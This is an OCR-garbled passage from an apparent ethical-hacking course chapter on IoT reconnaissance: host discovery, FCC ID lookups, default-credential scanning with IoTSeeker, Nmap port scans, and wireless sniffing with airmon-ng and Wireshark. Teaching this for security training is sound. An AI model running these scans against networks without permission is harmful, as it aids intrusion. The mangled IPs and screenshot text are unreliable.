192. 168.0. 19 DC a 0 &
192, 168.0. 20 SRYWD-002 0 Q
192 168.0.21  SQL 0 _u_*
192.168.0.22 TFS D o#
192.168.0.23 s R
192.168.0.26 oo 0 0%
192, 16&8.0. 30 RODW-001 0 1) *
192. 168.0.37 0 1 1;:
192, 168.0.42 GDOYWY -0 10 0 Q #
192, 168.0.46 RDDW-029 0 0 *
192.158.0.49 GDOW-012 0 1 P
192.168.0.55 BSLW-058 0 3 p—x
192. 168.0.63 SDOW-023 o o%
192, 16&8.0.65 SDOW 008 1 a 14#
1592, 168.0.55 RDOW -0 12 0 1 1“-
192, 168.0.77 ROOW <019 0 0 *—1
192.168.0.51 TSLW-005 0 0 *
192.168.0.84 R

AL A A o o

AN 153 M O
63 targets, samples: B5 to 94

https:jﬂvww.mu!ﬁpfng. com
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An attacker can use the MultiPing tool to find the IP address of any loT device in the target
network. After obtaining the IP address of an |oT device, the attacker can perform further
scanning to identify vulnerabilities present in that device.

Steps to perform scanning to identify the IP address of any |oT device:

* Open the MultiPing application and select File = Add Address Range

* |nthe Add Range of Addresses pop-up window:

o Select the router’s gateway IP address from the Initial Address to Add drop-down

field

o Set the Number of addresses to “255”

o Click OK

Initial Address to add:

Number of addresses:

Address add method:

29 Add Range of Addresses —_

L] X
192.168.0.1 v
255 v
Add responders only v

Figure 18.24: Adding a range of IP addresses in MultiPing
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*  MultiPing will cycle through every possible IP address in the range you have selected,
and it begins testing every IP address that responds to its ping

* Eachrow in the MultiPing Window is a device on the network; from the list, the attacker
can identify the IP address of the target |oT device

* To find the target device faster, set the ping interval to 1 second

'B MultiPing by Pingman Tools
File Edit Search View Help

%
Enter new target:
Enter targel, e.qg ML Goeng. con +
History:
WWW, e.com

www .multiping.com

ipv4:www,akamai.com

www. twitter.com

www .download.com

216.92.150,222 Nessoft Site by IP
ipv6:qoogle.com

2001:4860:4860::8888 Google IPv6 DNS by 1

Load from file:

@ Browse for file...

Clearworkspace

Querying Samples collected: 94

— X
Ping Interval: |1second | Samples to Include: |10 v| @ 0:200ms
Stop - 201-500 ms
Sample Set Time: 10/15/2019 12:29:15 PM - 10/16/2019 12:29:40 PM  gueiiessaiian
PL% IP Name Avg Cur % s Latency 20ms ™
@ 192.168.0.1 0 0%
® 192.168.0.7 XC-8BBCAD 0 0
® 192.168.0.12  SDDW-010 0 0%
® 192.168.0. 18 3 1 %9
¥ 192.168.0.19  DC 0 0
& 192.168.0.20 SRVWD-002 0o o%
9 192.168.0.21 SQL 0 0%
¥ 192,168.0.22  TFS 0 0%
& 192.168.0.23  IIS 0 0%
@ 192.168.0.26 0 08
& 192.168.0.30  RDDW-001 0 0%
@ 192.168.0.37 . 0 1¢x
® 192.168.0.42  GDDW-010 0 0%
& 192.168.0.46  RDDW-029 0 0%
@ 192.168.0.49  GDDW-012 0 1x
P 192.168.0.55 BSLW-058 0 39X
 J 192.168.0.63  SDDW-023 0 0%
» 192.168.0.65  SDDW-008 1 0%
® 192.168.0.66  RDDW-012 0 1
® 192.168.0.77  RDDW-019 0 0
i 192.168.0.81 TSLW-005 0 0%
= 192.168.0.84 - 0 0%
= 101 1€0 n o RN Ane n nk v

63 targets, samples: 85 to 94
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Information Gathering using FCC ID Search C'

FCC ID Search helps in finding the details and granted certification of the devices
FCC ID contains two elements: Grantee ID (initial three or five characters)and Product ID (remaining characters)

) Attackers can gather basic informationabout a target device using FCC ID Search available on
https://www.fcc.gov/oet/ea/fccid

. Using this information, an attacker can find underlying vulnerabilities in the target device and launch further attacks

View FormDisplay DisplayDisplay Applicant Addrass City State Country Zip Code FCC D Application Final Lower Upper
Exhibits Grant Corresp-Hame Purpaoses Erecpuency Fraquancy
ECC.ID.Search Eorm omgente e
Detail [g @ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United 5tates 33139 2ABOSSKYELITEGOOriginal Equipment01/27/20192402.0 248400
SUImim ary

y Detail 22 B9 Sk Phone LLC1348 Washington Av. Suite 350Miami BeachFL  United States33139  2ABOSSKYELITEGOOriginal Equipment 01/27/2019
Advanced Search SUmmary
m _ 4] Drtail E’ @ Sky Phione LLC 1348 Washington Av. Suite 350Miami BeachFL  United States 33139  2ABOSSKYELITEGOOCriginal Equipment01/27/20192402.0 2480.0
SUMIMary
d ) h . h f j Detail E’{ @ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20192412.0  2462.0
Grantee Code: (First three or five characters of FCCID) Summary
1 Detail [B" @ Sky Phone LLC 1348 Washington Av. Suite 350Miaml BeachFL  United 5tates33139 2ABOSSEYELITEGOOMgingl Equipment 01,/ 27/2019824.2 848.8
SUImmanry
2ABOS 1 Detail [K @ Sky Phone LLC 1348 Washington Av. Suite 350 Miami BeachFL  United States 33139 2ABOSSKYELITEGO Original Equipment 01/27/2019824.7 B848.3
Summary
1 Detail A @ Sky Phone LLC 1348 Washington Av. Suite 350 Miami BeachFL United States33139 2ABOSSEYELITEGOOriginal Equipment01,/27/2019826.4 B46.6
SUIMIMmary
o ﬂl Detail [Ef @ Sky Phone LLC 1348 Washington Av. Suite 350 Miami BeachFL  United States 33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019829.0 844.0
Product Code: (Remaining characters of FCCID) Summary
‘] Detall M’ @ Sky Phone LLC 1348 Washington Av. Sulte 350Miaml BeachFL  Unfted States3313% ZABOSSKYELITEGOOriginal EquipmentD1/27/20191710.7 1754.3
Sumim ary
SKYE LlTEG D ’] Detail [E’ @ Sky Phone LLC 1348 Washington Av, Sulte 350Miaml BeachFL  United States 33139 2ABOSSKYELITEGOCriginal Equipment01/27/20121715.0. 1750.0
sSummary
1 etail [E/ @ Sky Phone LLC 1348 Washington Av. Suite 350 Miami BeachFL United States 33139 Z2ABDSSKYELITEGOOriginal Equipment31/27/20191720.0 1745.0
SUMimary
Dhixtail Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL United States33139 ZABOSSEYELITEGOOriginal Equipment01,/27/20191850.2 19049.8
3 Detail g @ by g ginal Equip
Summary
Detail ; Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States 33139 2ABOSSKEYELITEGOOriginal EqQuipment01,/27/20191852.4 1907.6
search ) Y . el £
SUMIMary
Detall ? Sky Phone LLC 1348 Washington Av. Sulte 350Miaml BeachFL  United States3313%  2ABOSSKYELITESOOrigingl Equipment01/27/20191860.0 19000
g 4q Quip
. Sumimary

https://www. fcc. gov
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Information Gathering using FCC ID Search

FCC ID Search helps in finding the details of devices and the certification granted to them. The
search page has several fields that allow the information of devices to be accessed. All the
devices are labeled with unique FCC IDs. FCC IDs consist of two elements, known as the grantee
ID (initial three or five characters) and product ID (remaining characters).

Using the FCC ID, the target device details can be gathered by following the steps given below:
= (Openthe device and examine the attached label

= The label has the FCC ID of the device

~ SKY

Model : ELITE GO
Color Blach

S EELVSO0EM DO 1 S00
el TR ]

G LTE BN
ol D 7ARDEREYRL ITECGD

PAEL: 3546 TE 10000000 X
‘n
i

|
1
N =N |
L e B Bl 1138
b ¢ s B0 5 LA
s X {' Tl o
T - I
LT P | e e -

1= e
............
T +ih

Fi<f: 57, 8«TTMM

| label location
1

.
label location

SKY

UL T TR TR T
1 BIAN TR (RN

= Jim

i

Figure 18.26: FCC ID location
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* Now, go to the FCC ID search form on the official page,
https://www.fcc.gov/oet/ea/fccid

" Enter the grantee code and product ID in the fields

ECC.ID.Search. Eor

heip ]I Advanced Search -

Grantee Code: (First three or five characters of FCCID)

2ABOS

Product Code: (Remaining characters of FCCID)

SKYELITEGO
search

Figure 18.27: Screenshot of FCC ID search form

* After entering the details, click “search” — it displays details and a summary of the
device with different frequencies

View FormDisplay DisplayDisplay Applicant Address City State Country Zip CodeFCC ID Application Final Lower  Upper
Exhibits Grant Corresp-Name Purpose Action FrequencyFrequency
ondence Date In MHz  In MHz
j Detail [é '\_ﬁ Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20192402.0 2480.0
: summary
? Detail @ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019
summary
? Detail @ Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20192402.0 2480.0
- Summary
j Detail @ Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20192412.0 2462.0
— Summary
j Detail [Bt Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019824.2 848.8
. Summary
ﬁ’ Detail [ﬁ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019824.7 848.3
: Summary
3 Detail @ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019826.4 846.6
Summary

J Detail @ Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/2019829.0 844.0
Summary
Detail
—j Summar}[@

Y

Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20191710.7 1754.3

Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal EQuipment01/27/20191715.0 1750.0

1 Detail @ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20191720.0 1745.0
- Summary

j Detail [ﬁ Sky Phone LLC 1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20191850.2 1909.8
Summary

Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL  United States33139 2ABOSSKYELITEGOOriginal Equipment01,/27/20191852.4 1907.6

444444444414 444

Sky Phone LLC1348 Washington Av. Suite 350Miami BeachFL United States33139 2ABOSSKYELITEGOOriginal Equipment01/27/20191860.0 1900.0

)

Figure 18.28: Screenshot showing FCC ID search result
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o The basic details of the device can be obtained by clicking the “Summary” link, as
shown in the below screenshot:

Exhibit Type

Block Diagram

Cover Letter(s)

Cover Letter(s)
External Photos

ID Label/Location Info
Internal Photos

Schematics

Test Report

Test Setup Photos
Users Manual

File Type

Adobe Acrobat PDF16234 Block Diagram
Adobe Acrobat PDF72964 Cover letter
Adobe Acrobat PDF89962
Adobe Acrobat PDF1059770 External photos
Adobe Acrobat PDF114618 Label

Adobe Acrobat PDF2895206 Internal photos
Operational Description Adobe Acrobat PDF206948 Operational Description01/26/2019
Parts List/Tune Up Info Adobe Acrobat PDF49567 Tune up
Parts List/Tune Up Info Adobe Acrobat PDF29959
Adobe Acrobat PDF643217 Schematics
Adobe Acrobat PDF3507723Test report
Adobe Acrobat PDF388298 Test setup
Adobe Acrobat PDF1049119User manual

File Size Descripti

Cover letter

Parts list

Confidential Confidential

01/26/2019
01/26/2019
01/26/2019
01/26/2019
01/26/2019
01/26/2019

01/26/2019
01/26/2019
01/26/201S
01/26/2019
01/26/2019
01/26/2019

Yes
No
No
No
No

No
No 01/27/2019
NO 01/27/2019
No 01/27/2019
No 01/27/2019
No 01/27/2019
No
NO
No
No
No 01/27/2019
NoO 01/27/2019
NG 01/27/2019

Figure 18.29: Screenshot showing summary details of a device

o Further details of the device can be found by clicking on the “Detail” link, such as
Cover letter, External photos, Internal photos, Test report, User manual, etc.

Cover letter
Cover letter
External photos
Label

Internal photos
Test report
Test setup
User manual

View Attachment Exhibit Type

Cover Letter(s) 01/26/2019
Cover Letter(s) 01/26/2019
External Photos 01/26/2019

ID Label/Location Info01/26/2019

Internal Photos 01/26/2019
Test Report 01/26/2019
Test Setup Photos 01/26/2019
Users Manual 01/26/2019

pdf
pdf
pdf
pdf
pdf
pdf
pdf
pdf

Date Submitted to FCCDisplay TypeDate Available

01/27/201S
01/27/20195
01/27/201S
01/27/2019
01/27/2019
01/27/2019
01/27/20195
01/27/2019

Figure 18.30: Screenshot showing complete details of a device

After obtaining the required information, the attacker can find underlying vulnerabilities in the
target device and launch further attacks.
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Discovering IoT Devices with Default Credentials using C'E H

[oTSeeker ok Looupet
IoTSeeker

) Attackersuse tools such as loTSeeker to JUsers/rapid7/freetools>perl iotScanner.pl 1.23.123.431,

. ) . 1.23.123.443,1.23.123.453,1.23.123.457,1.23.123.459,1.23.123.461,1.
discover loT devices that are using default 23.123.462,1.23.123.463,1.23.123.465,1.23.123.466,1.23.123.467,1.23

credentials and are vulnerable to various .123.469,1.23.123.472,1.23.123.473,1.23.123.475,1.23.123.477,1.23.1
23.479,1.23.123.480,1.23.123.481

hijacking attacks

device
device
device
device
device
device
device

.23.123.472 is of type W-Box has changed passwd

.23.123.473 1s of type W-Box has changed passwd

.23.123.475 is of type W-Box has changed passwd

.23.123.477 1s of type W-Box still has default passwd
.23.123.479 is of type Arecont has changed passwd
.23.123.480 1s of type American Dynamics has changed passwd
.23.123.481 is of type American Dynamics has default passwd

=A

device 1.23.123.431 is of type Stardot still has default passwd
device 1.23.123.443 is of type Arecont has changed passwd
1 loTSeeker will scan a network for Speciﬁc device 1.23.123.453 is of type American Dynamics has changed passwd
. . device 1.23.123.457 1s of type W-Box has changed passwd
types of loT devices to detect 'fthey dre device 1.23.123.459 1s of type Arecont has changed passwd
using the dEfElUlt, facturv set credentials device 1.23.123.461 is of type American Dynamics has changed passwd
device 1.23.123.462 is of type W-Box has changed passwd
. i i . device 1.23.123.463 is of type Arecont has changed passwd
. This tool hE|pS organizations to scan their device 1.23.123.465 is of type American Dynamics has changed passwd
networks to detect 1oT devices using the device 1.23.123.466 is of type W-Box has changed passwd
] device 1.23.123.467 is of type Arecont has changed passwd
factnrysettlng device 1.23.123.469 1s of type American Dynamics has changed passwd
1
1
1
1
1
|
1

https://github.com
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Discovering IoT Devices with Default Credentials using IoTSeeker
Source: https://qgithub.com

Attackers use tools such as loTSeeker to discover l0T devices that are using default credentials
and are vulnerable to various hijacking attacks. loTSeeker will scan a network for specific types
of 10T devices to detect whether they are using the default, factory-set credentials. The recent
Internet outage has been attributed to use of 1oT devices (CCTV cameras, DVRs, and others)
with default credentials. This tool helps organizations scan their networks to detect these types
of 10T devices, and to identify whether credentials have been changed or whether the device is
still using the factory setting. loTSeeker focuses on HTTP/HTTPS services.
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For example, attackers run the following command to find devices with default credentials:
perl i1otScanner.pl 1.1.1.1-1.1.4.254,2.1.1.1-2.2.3.254

/Users/rapid7/freetools>perl iotScanner.pl 1.23.123.431,

1:23:.123.8843,1.23.123.,853,1:23.123.85/;1.23.123.459,1.23,123:961,1.
£3:123.,802 ;1.23:123.803,1,23,123.865,1.23.123.8006,1.23.123.867 ;1,23
.123.469,1.23.123.472,1.23.123.473,1.23.123.475,1.23.123.477,1.23.1

23.479,1.23.123.480,1
| 123,
123

device
device
device
device
device
device
device
device
device
device
device
device
device
device
device
device
device
device
device
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.23.123.481

Stardot still has default passwd
Arecont has changed passwd

American Dynamics has changed passwd
W-Box has changed passwd

Arecont has changed passwd

American Dynamics has changed passwd
W-Box has changed passwd

Arecont has changed passwd

American Dynamics has changed passwd
W-Box has changed passwd

Arecont has changed passwd

American Dynamics has changed passwd
W-Box has changed passwd

W-Box has changed passwd

W-Box has changed passwd

W-Box still has default passwd
Arecont has changed passwd

American Dynamics has changed passwd
American Dynamics has default passwd

Figure 18.31: Screenshot of loTSeeker
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Vulnerability Scanning using Nmap CEH

Corvafipd iSanl  Hacker

) Attackers use vulnerability scanning tools such as Nmap to identify all the 10T devices connected to the network
along with their open ports and services

= Zenmap —_ O X
Scanning for Vulnerabilities using Nmap Scan Tools Profile Help
Target: 192.168.2.1 vi Profile; v .-S-:an- Cancel
J To scan fora specific IP address Command:  nmap-n -sS -p T:0-65535 -A -v -oX 192.168.2.1 -Pn 192.168.2.1
@ nmap -n -Pn -sS -PT:U—65535 -v =-A -0X Hosts || Services Nmap Output  Ports / Hosts | Topology | Host D:tmisiﬂcan&
<Name> <IP> 0S 4 Host o | nmap-n -s§ -p T:0-65535 -A -v -0X 19216821 -Pn 192.168... | v |
: Starting Nmap ( https://nmap.org ) at
. To check foropen TCP and UDP services and ports okl e Pl 3
NSE: Loaded 146 scripts for scanning.
@ nmap -n -Pn -sSU -pT:0-65535,U:0-65535 MEES Script Pre-scacaing.
P P A Initiating NSE at @2:27 =
-v —-A —-0¥X <Name> <IP> Completed NSE at ©2:27, ©0.005 elapsed
Initiating NSE at ©2:27
Completed NSE at 92:27, 0.00s elapsed
- s TR - Initiating Parallel DNS resolution of 1 host. at 82:27
J TO Identlfy the vaE Capabllltles Ofa dEVlce Completed Parallel DNS resolution of 1 host. at ©2:27,
©.01s elapsed
C N o Initiating SYN Stealth Scan at 02:27
@ nmap -6 -n -Pn -sSU -pT:0-65535,0:0 Scanning 192.168.2.1 [65536 ports]
65535 —-v -A -o0oX <Name> <IP> Discovered open port 8@/tcp on 192.168.2.1
Filter Hosts Discovered open port 443/tcp on 192.168.2.1

https://nmap.org
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Vulnerability Scanning

Once the attackers gather information about a target device, they search for the attack surfaces
of a device (identify the vulnerabilities) that they can attack. Vulnerability scanning allows an
attacker to find the total number of vulnerabilities present in the firmware, infrastructure, and
system components of an IoT device that are accessible. After identifying the attack surface
area, the attacker will scan for vulnerabilities in that area to identify an attack vector and
perform further exploitation on the device.

Vulnerability scanning helps an attacker to identify loT devices with weak configurations such as
hidden exploits, firmware bugs, weak settings and passwords, and poorly encrypted
communications. In contrast, it also assists security professionals in securing loT devices in the
network by determining the security loopholes or vulnerabilities in the current security
mechanisms before the attackers can exploit them.

Vulnerability Scanning using Nmap

Attackers use vulnerability-scanning tools such as Nmap to identify the IoT devices connected
to the network along with their open ports and services. Nmap generates raw |IP packets in
different ways to identify live hosts or devices on the network, services offered by them, their
operating systems, type of packet filters used, etc.

Attackers use the following Nmap command to scan a specific IP address:
nmap -n -Pn -sS -pT:0-65535 -v -A -oX <Name><IP>

To perform a complete scan of the 10T device that checks for both TCP and UDP services and
ports:

nmap -n -Pn -sSU -pT:0-65535,U0:0-65535 -v -A -oX <Name><IP>
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To identify the IPv6 capabilities of a device:
nmap -6 -n -Pn -sSU -pT:0-65535,U0:0-65535 -v -A -oX <Name><IP>

« Zenmap e O X

Scan Jools Profile Help

Target: 192.168.2.1 I] Profile: v‘ :S;:ani. fCanceIi

—_—

Command: nmap-n -sS -p T:0-65535 -A -v -0X 192.168.2.1 -Pn 192.168.2.1

Hosts | Services | = Nmap Output Ports / Hosts [ Topology ] Host Details l Scans
0S ¢ Host a nmap-n -sS -p T:0-65535 -A -v -0X 192.1682.1 -Pn 192.168... | v
Starting Nmap ( https://nmap.org ) at - =

©2:27 Pacific Standard Time

NSE: Loaded 146 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at €2:27

Completed NSE at ©2:27, ©.00s5 elapsed

Initiating NSE at ©2:27

Completed NSE at ©2:27, ©.00s elapsed

Initiating Parallel DNS resolution of 1 host. at ©02:27
Completed Parallel DNS resolution of 1 host. at ©82:27,
2.01s elapsed

Initiating SYN Stealth Scan at ©2:27

Scanning 192.168.2.1 [65536 ports])

Discovered open port 8@/tcp on 192.168.2.1

Filter Hosts Discovered open port 443/tcp on 192.168.2.1 v
Figure 18.32: Scanning using Nmap
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Vulnerability Scanning using Retina IoT (RIoT) Scanner C lE H
J Retina loT (RIoT) Scanner identifies | B3 BeyondTrust BTU . @ L Amie Milor
at-risk loT devices, such as IP cameras, | £ 0w  His
DVRs, printers, and routers o '
. This tool gives you an attacker’s view of all = a5
the 10T devices and their associated )
vulnerabilities <
: A
Features | _ |

& Identify vulnerable 10T devices _
@ Check for default or hard-coded passwords 993 18

©® Perform external scans of up to 256 IP
addresses

112 112

& Generates reports of loT vulnerabilities and
their remediation

& 1200 Beyonad | rusl i (Lpgal

https://www. beyondtrust.com
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Vulnerability Scanning using Retina IoT (RIoT) Scanner

Source: https://www.beyondtrust.com

Retina loT (RIoT) Scanner identifies at-risk 10T devices, such as IP cameras, DVRSs, printers, and
routers. This tool gives an attacker’s view of all the loT devices and their associated
vulnerabilities. Utilizing precise information such as server banner and header data, RloT will
pinpoint the make and model of a particular |IoT device. It also performs tests to find whether
that device is using default or hard-coded credentials for telnet, SSH, or basic HTTP
authentication, which are the preferred attack vectors that botnets initially use to breach a
system. Using this tool, an attacker can specify a target IP or IP range to identify vulnerabilities.
RlIoT vulnerability scanner allows attackers to identify vulnerable 10T devices, check for default
or hard-coded passwords, and perform external scans to identify loT vulnerabilities.
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Eg BeyondTrust BTU &+ @ AL Amie Miller

112 112

Figure 18.33: Screenshot of Retina IoT (RIoT) Scanner
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Sniffing using Foren6

1 Attackers use tools like Foren6 to
sniff the traffic of IoT devices

) Foren6 uses sniffers to capture
6LoWPAN traffic and renders the
network state in a graphical user
interface

) Foren6 captures all RPL-related
information and identifies
abnormal behaviors

. It combines multiple sniffers and
captures live packets from
deployed networks in a non-
intrusive manner

Sniffing using Foren6

Source: https://cetic.qgithub.io

Cl

Carrtind

i Sacnl

Hacker

Forend: A LoWPAN Diagnosis Tool

i Toggle node movement i Clear C} Toggle node info 5 Linkfnlink Dialogs

Dockable Packet Dissector

data

r Frame: 686

Packet 22
“'Dockable Event Widget
el L& Frame. Do

Frame 691

" L
[ I T

ted anid = 12740300030303

https://cetic. github.io
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Attackers use tools such as Foren6 to sniff the traffic of IoT devices. Foren6 is a non-intrusive
6LOWPAN network analysis tool. It leverages passive sniffer devices to reconstruct a visual and
textual representation of network information to support real-world |oT applications.

Foren6 uses sniffers to capture 6LoWPAN traffic and renders the network state in a graphical
user interface (GUI). It detects routing problems. The Routing Protocol for 6LOWPAN Networks,
RPL, is an emerging IETF standard. Foren6 captures all RPL-related information and identifies
abnormal behaviors. It combines multiple sniffers and captures live packets from deployed

networks in a non-intrusive manner.

For example, the basic steps to analyze a real 6LOWPAN network using a Contiki-based sniffer

module are as follows:

= Open Foren6, after installation

* Now, open the “Manage Sources” dialog by clicking the Manage Sources button in the
Toolbar or from the “File” menu

= In this dialog, remove any existing entries in the top section by selecting each individual

element and hitting the 'Remove’ button

* Next, add a new source by specifying the three fields, as shown below:

o Target: Type the path to the USB device (example: /dev/ttyUSBO)

o Channel: The integer value of the channel you want to sniff (1 to 26)

o Type: Select sniff
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* (Click the Add button when the above information is entered

* |f the device is found by the application, it will appear in the list of available devices. If
your device exists, but you get an error at this point, it is likely that the user running
Foren6 does not have permission to access that serial device. Then, launch the Foren6
application as root.

= Hit the Close button to return to the main window

" (Click the Start button (which will now be enabled) to launch a packet capture

Manage Sniffers

Opened sniffers and files

Type Path Channel URL
snif  /dev/ttyUSBO 24 snif:///dev/ttyUSBO?channel =24
Target |/dev/ttyUSBO ‘ | Browse
(path to packet file or a real sniffer device, example: /dev/ttyUSBO)
Channel |24 2l Add . |
Type |snif v | Remove

| Close Window

Figure 18.34: Sniffing using Foren6

Foren6: A 6LoWPAN Diagnosis Tool

File Layout Window Help

@ ®5tﬂp (1) i‘TugglE node movement i Clear QTnggle node info :5 Link/Unlink Dﬂlﬂgi_
Packet G |
Data
P Internet Protocol Version 6, Srec: [eB0::212:7d0b:b:B0bh (f=eB0::Z12:Td0b:b:b0bh), Dst: fasB0O: :Z212:Td1ZF:1Z2:1212 (FeBD::Z212:7d12:12: 1212}
v Intarnat Control Msssage Protocol L
Typs: RPL Control {(153) —
‘ods: 2 [Desgtination Advertisesmant Objsct) L]
S e Dockable Packet Dissector ‘
EPLInatancelD: 30
P Flags: 0x40
Regerved: 00
DAQ Segquence: 246
P ICMPvE RPL Option (RPL Target BSEB8::212:740b:b:b0k/128)
P ICHMPvS RPL Option (Transit Information) -
Informations [- ll
Liniten e || Ovwverlay . Rank depth - —
- 802.154 | Filter: g
MAC Address 12741200121212 |8 . ;
! Type Version Message
= IPvh
R | Packet 225 Frame: 682
Link-Local IP fe80::212:/412:12:1
Packet 225 Frame: 683
Global IP 8888::212:7412:12
Packet 226 Frame 684
¥ RPL configuration
Node 226 Node updated, wpan id = 12740c000c0cOc¢ :
DODAG 1D fe80:212:7412:12.1 R | RUcEee 227 Frane. O3 .
N i 241 ] Node 22/ Node updated, wpan id = 1.2/40b000b0bH0G
picie i Giaia., 12 || Packet 227 Frame: 686
Pack H
< Prefix 8888:/64 || .“'Dockable Event Widget
On-link No ' . acketr cev rrame: o6s
Autoconf Yes FI XEd REglnn Packet 227 Frame: 689
Houter addr... Mo | 9 Packar 227 Frama: 690
Valid lifetime__ O - Packet 227 Frame: 691
[— - P » Packet 227 Frame 692
i e 5 Wi T -~ Packet 228 Frame: 693
Timeline = mgrg=—=a =t bkl S ' |277/845 503.401 sec
T ' il H—— Y Node 228  Node updated, wpanid = 12740300030303
Layout:
Figure 18.35: Screenshot of Foren6 showing various result panes
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range>

airmon-ng start wlanO

airodump-ng start wlanOmon

same channel using Airmon-ng

airmon-ng start wlanOmon 11

the traffic

Sniffing using Wireshark

J Run Nmap to identify loT devices using insecure HTTP ports

nmap -p 80,81,8080,8081 <Target IP address

J Run ifconfig to identify your wireless card, here wlan0

J Run Airmon-ng to put the wireless card in monitor mode
J Run Airodump-ng to scan all the nearby wireless networks

. Discover the target wireless network and note down the
corresponding channel to sniff the traffic using Wireshark

- Next, setup your wireless card to listen to the traffic on the

- Launch Wireshark and double-click the interface that was
kept in monitor mode, here wlanOmon and start capturing

& ~Ethemet

- () X,
Fie Edt View Go Copture Analyze Statistics  Telephony Wireless Tooks  Help
e « feasESYy i |=SQQaH
M | mati %] +
Hi, Tiime SolFee Destination Frotomal  Length Infa e
g2 55375177 10.18.1.22 ie.10.1.19 HOTT 56 Pinp Regquest
B3 55.375596 i8.18,1.19 18.18.1.22 MOTT 56 Fing Response
225 114.875899 19.38.1.22 18.18.1.19 HOTT 56 Ping Request
£26 114.877353 18.18.1.19 19.18.1.22 HATT 56 Ping Aesponse
336 171.79E72L 18.18.1.23 18.18.1.19 HOTT 56 Ping Request
337 171.796904 19.38.1.19 18.18.1.22 gTT 56 Ping Resp
454 225 So67eE 10,18, 1.23 ig.18.1.19 HOTT 55 Ping Request
455 229.5665999 i9.168.1.19 1g.18.1.22 HOTT 56 Ping Response
578 288.319887 1g.18.1.22 18.18.1.19 HOTT 56 Ping Request
571 288.32@127 18.18.1.19 18.18.1.22 HOTT 56 Ping Response
76 345_838189 18.18.1.22 18.18.1.19 HOTT 568 Ping Request
677 345.338443 18.18.1.19 18.18.31.322 MOTT 56 Ping Aesponse
B2 404, I08820 19.18.1.22 19.18.1.19 HOTT 56 Ping Aequest
BB3 484 381034 18.18.1.19 i9.18,.1.22 HOTT 56 Ping Response
913 451.756481 18.18.1.22 18.18.1.19 MOTT 56 Pimg Regquest
914 4581.75%6762 18.18.1.19 18.18.1.22 MGTT 56 Ping Aesponse
1834 528,.313182 18:18.1.22 18.18.1.19 HOTT 56 Ping Aequest
1835 528.313585 18.318.1.19 18.18.1.22 HOTT 56 Ping Aezponse
11438 576. 746486 18.18.1.19 18.18.1.22 HOTT 896 Publish Message (id=2) [High Tempe]
1149 S7E. 746978